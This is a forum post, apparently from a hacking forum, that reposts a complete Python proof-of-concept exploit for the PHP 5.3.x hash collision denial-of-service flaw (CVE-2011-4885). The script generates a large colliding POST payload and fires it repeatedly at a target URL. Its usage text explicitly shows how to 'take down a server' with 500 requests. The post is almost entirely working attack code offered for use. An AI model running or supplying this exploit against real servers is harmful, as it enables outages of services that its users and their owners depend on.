• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Phyton [Python] PHP 5.3.x Hash Collision Proof Of Concept Code CVE-2011-4885

Status
Not open for further replies.

diazromero

Leech
User
Joined
Jan 5, 2012
Messages
57
Reputation
0
Reaction score
27
Points
18
Credits
0
‎13 Years of Service‎
57%
PHP 5.3.x Hash Collision Proof Of Concept Code CVE-2011-4885

PHP 5.3.x hash collision denial of service proof of concept exploit written in Python. It generates the payload on the fly and sends it to the server.

Code:
>
'''
This script was written by Christian Mehlmauer 
Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
CVE : CVE-2011-4885

requires Python 2.7

Examples:
-) Make a single Request, wait for the response and save the response to output0.html
python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output

-) Take down a server(make 500 requests without waiting for a response):
python HashtablePOC.py -u https://host/index.php -v -c 500

Changelog:
v2.0: Added Support for https, switched to HTTP 1.1
v1.0: Initial Release
'''

import socket
import sys
import math
import urllib
import string
import time
import urlparse
import argparse
import ssl

def main():
   parser = argparse.ArgumentParser(description="Take down a remote PHP Host", prog="PHP Hashtable Exploit")
   parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
   parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
   parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
   parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
   parser.add_argument("-f", "--file", dest="file", help="Save payload to file")
   parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
   parser.add_argument('--version', action='version', version='%(prog)s 2.0')

   options = parser.parse_args()

   url = urlparse.urlparse(options.url)

   if not url.scheme:
       print("Please provide a scheme to the URL(http://, https://,..")
       sys.exit(1)

   host = url.hostname
   path = url.path
   port = url.port
   if not port:
       if url.scheme == "https":
           port = 443
       elif url.scheme == "http":
           port = 80
       else:
           print("Unsupported Protocol %s" % url.scheme)
           sys.exit(1)
   if not path:
       path = "/"

   print("Generating Payload...")
   payload = generatePayload()
   print("Payload generated")
   if options.file:
       f = open(options.file, 'w')
       f.write(payload)
       f.close()
       print("Payload saved to %s" % options.file)
   print("Host: %s" % host)
   print("Port: %s" % str(port))
   print("path: %s" % path)
   print
   print

   for i in range(options.count):
       print("sending Request #%s..." % str(i+1))
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       if url.scheme == "https":
           ssl_sock = ssl.wrap_socket(sock)
           ssl_sock.connect((host, port))
           ssl_sock.settimeout(None)
       else:
           sock.connect((host, port))
           sock.settimeout(None)

       request = """POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)
Content-Length: %s

%s

""" % (path, host, str(len(payload)), payload)

       if url.scheme == "https":
           ssl_sock.send(request)
       else:
           sock.send(request)

       if options.verbose:
           if len(request) > 300:
               print(request[:300]+"....")
           else:
               print(request)
           print
       if options.wait or options.output:
           start = time.clock()
           if url.scheme == "https":
               data = ssl_sock.recv(1024)
               string = ""
               while len(data):
                   string = string + data
                   data = ssl_sock.recv(1024)
           else:
               data = sock.recv(1024)
               string = ""
               while len(data):
                   string = string + data
                   data = sock.recv(1024)
           
           elapsed = (time.clock() - start)
           print ("Request %s finished" % str(i+1))
           print ("Request %s duration: %s" % (str(i+1), elapsed))
           split = string.partition("\r\n\r\n")
           header = split[0]
           content = split[2]
           if options.verbose:
               # only print http header
               print
               print(header)
               print
           if options.output:
               f = open(options.output+str(i)+".html", 'w')
               f.write("\r\n"+content)
               f.close()

       if url.scheme == "https":
           ssl_sock.close()
           sock.close()
       else:
           sock.close()

def generatePayload():
   # Taken from:
   # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision

   # Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)
   
   # entries with collisions in PHP hashtable hash function 
   a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}
   # how long should the payload be
   length = 7
   size = len(a)
   post = ""
   maxvaluefloat = math.pow(size,length)
   maxvalueint = int(math.floor(maxvaluefloat))
   for i in range (maxvalueint):
       inputstring = base_convert(i, size)
       result = inputstring.rjust(length, '0')
       for item in a:
           result = result.replace(item, a[item])
       post += '' + urllib.quote(result) + '=&'

   return post;

def base_convert(num, base):
   fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
   alphabet = fullalphabet[:base]
   if (num == 0):
       return alphabet[0]
   arr = []
   base = len(alphabet)
   while num:
       rem = num % base
       num = num // base
       arr.append(alphabet[rem])
   arr.reverse()
   return ''.join(arr)

if __name__ == "__main__":
   main()
 
Status
Not open for further replies.
Back
Top